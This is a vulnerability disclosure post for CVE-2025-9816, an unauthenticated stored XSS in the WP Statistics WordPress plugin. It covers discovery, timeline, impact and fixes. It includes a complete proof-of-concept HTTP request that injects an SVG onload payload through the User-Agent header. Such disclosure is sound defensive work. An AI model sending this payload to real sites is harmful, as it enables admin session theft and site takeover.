CVE-2025-9816 is a critical stored cross-site scripting vulnerability in the widely used WP Statistics plugin (600k+ installs) that permits an attacker to persist a crafted User-Agent string into the plugin’s device model field and later execute arbitrary JavaScript inside the wp-admin interface when an administrator views the Devices → Device Models report. The root cause is a chain of weak protections: the UA string is lightly normalized by the parser but not fully sanitized or context-escaped before being stored and rendered, and the admin table renders the model value both into a text node and into an HTML attribute (title) without esc_html()/esc_attr() or equivalent context-aware escaping. Because administrators have high privileges and valid nonces in their browser context, any JavaScript that executes there can steal cookies, nonces, or trigger privileged actions—turning a seemingly low-signal analytics record into a direct path to full site takeover.

CVECVE-2025-9816
Plugin VersionWP Statistics <= 14.5.4
CriticalHigh
All Time33 503 078
Active installations600 000+
Publicly PublishedOctober 9, 2025
Last UpdatedOctober 9, 2025
ResearcherDmitrii Ignatyev
PoCYes
ExploitNo
Reference Our Telegram Channel -> https://t.me/cleantalk_researches/326
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9816
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-statistics/wp-statistics-1454-unauthenticated-stored-cross-site-scripting-via-user-agent-header
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

September 2, 2025Plugin testing and vulnerability detection in the WP Statistics – Simple, privacy-friendly Google Analytics alternative have been completed
September 2, 2025I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
October 9, 2025Registered CVE-2025-9816

Discovery of the Vulnerability

During focused auditing of WP Statistics’ UA handling and reporting code, researchers observed that the plugin relies on an external UA parser to extract device/brand/model strings and then writes the parsed model into wp_statistics_visitor.model (or an equivalent column). The parsing step performs minimal normalization—trimming, truncation, and the replacement of some control characters—but does not strip HTML metacharacters, quotes, or SVG/JS vectors that can survive parsing. Later, the admin UI builds a table of device models and inserts the stored string into both a visible cell and an element title attribute for hover tooltips, without calling esc_html() for the text node or esc_attr() for the attribute. Because the value is stored persistently and displayed in wp-admin where privileged code paths and nonces are available, the vulnerability combines storage, display-in-admin, and lack of contextual escaping into a classic and highly exploitable stored XSS.

Understanding of Stored XSS attack’s

Stored XSS has repeatedly been among the most damaging classes of WordPress vulnerabilities because the payload persists in the site database and executes in privileged contexts when an administrator or editor visits an affected page. In the past, similar attack chains have led to complete site takeover: plugin fields written to post titles, user metadata, or analytics tables have been leveraged to execute admin-level JavaScript, steal authentication cookies, and perform administrative actions programmatically. The distinguishing risk in WP Statistics is the telemetry-like nature of the input (User-Agent), which looks innocuous and commonly appears in logs. Attackers can weaponize ordinary HTTP headers sent by automated scanners or crafted clients; unlike forms that require some interaction, analytics endpoints often accept and store headers from any visitor, including unauthenticated bot traffic, which makes mass automatic injection and wide-scale compromise simple to script.

Exploiting the Stored XSS Vulnerability

To exploit CVE-2025-9816, an attacker without any cookies:

POC:

POST /wordpress/index.php/wp-json/wp-statistics/v2/hit HTTP/1.1
Host: test.test
User-Agent: Mozilla/5.0 (Linux; Android 11; HP; X"><svg	onload=alert`1337`>) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0 Mobile Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
Origin: http://test.test
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://test.test/wordpress/index.php/2025/08/05/asd-3/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

wp_statistics_hit=1&source_type=post&source_id=1015&search_query=&signature=1701d86fd78772afa197fc2f8123b&endpoint=hit&referred=&page_uri=L3d123

____

The real-world impact is severe and immediate. Because WP Statistics is a telemetry/analytics plugin installed on hundreds of thousands of sites, attackers can automate payload injection at scale by sending millions of requests with unique UA payloads and then scanning for admin panels to load the report and trigger exploitation. On targeted attacks, an adversary could craft payloads specifically designed to survive the UA parser’s normalization rules and to bypass simple WAF signatures, thereby achieving stealthy persistence. Once administrative nonces and cookies are exfiltrated, lateral movement and long-term backdoors become trivial: attackers may install malicious plugins, modify theme files to include web shells, or export private data. For multi-site or agency-managed WordPress installations where admins log into several client dashboards, a single exploited analytics entry could cascade into compromise of multiple sites and credentials, making the vulnerability both high-impact and attractive to opportunistic and targeted attackers.

Recommendations for Improved Security

To remediate CVE-2025-9816, WP Statistics must treat any parser-derived data as untrusted input and enforce both sanitization at write-time and context-aware escaping at read-time. At minimum, the plugin should apply strict normalization and validation to model strings before storage: remove or encode control and metacharacters, reject strings containing <>"', or sequences that look like HTML/event attributes, and truncate to a safe length. When rendering in the admin UI, always use esc_html() for text nodes and esc_attr() for attribute values, and consider wp_kses() with an explicit allowlist if any HTML is ever accepted (which is strongly discouraged for analytics fields). Additionally, implement defensive layers such as output encoding on database reads, server-side filtering of incoming UA strings (e.g., reject or canonicalize suspicious headers), and logging/alerting when new or anomalous device models are stored. Site owners should update to a patched release immediately, purge suspicious device model entries, reset admin sessions and keys if exploitation is suspected, and monitor wp-admin access logs for unusual activity. Finally, consider placing administrative analytics pages behind stronger access controls or rate limits so that automated mass exploitation is harder to perform.

By taking proactive measures to address Stored XSS vulnerabilities like CVE-2025-9816 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.

#WordPressSecurity #Stored XSS #WebsiteSafety #StayProtected #HighVulnerability

Use CleanTalk solutions to improve the security of your website

Dmitrii I.
CVE-2025-9816 – WP Statistics – Unauthenticated Stored Cross-Site Scripting (XSS) – POC

Leave a Reply

Your email address will not be published. Required fields are marked *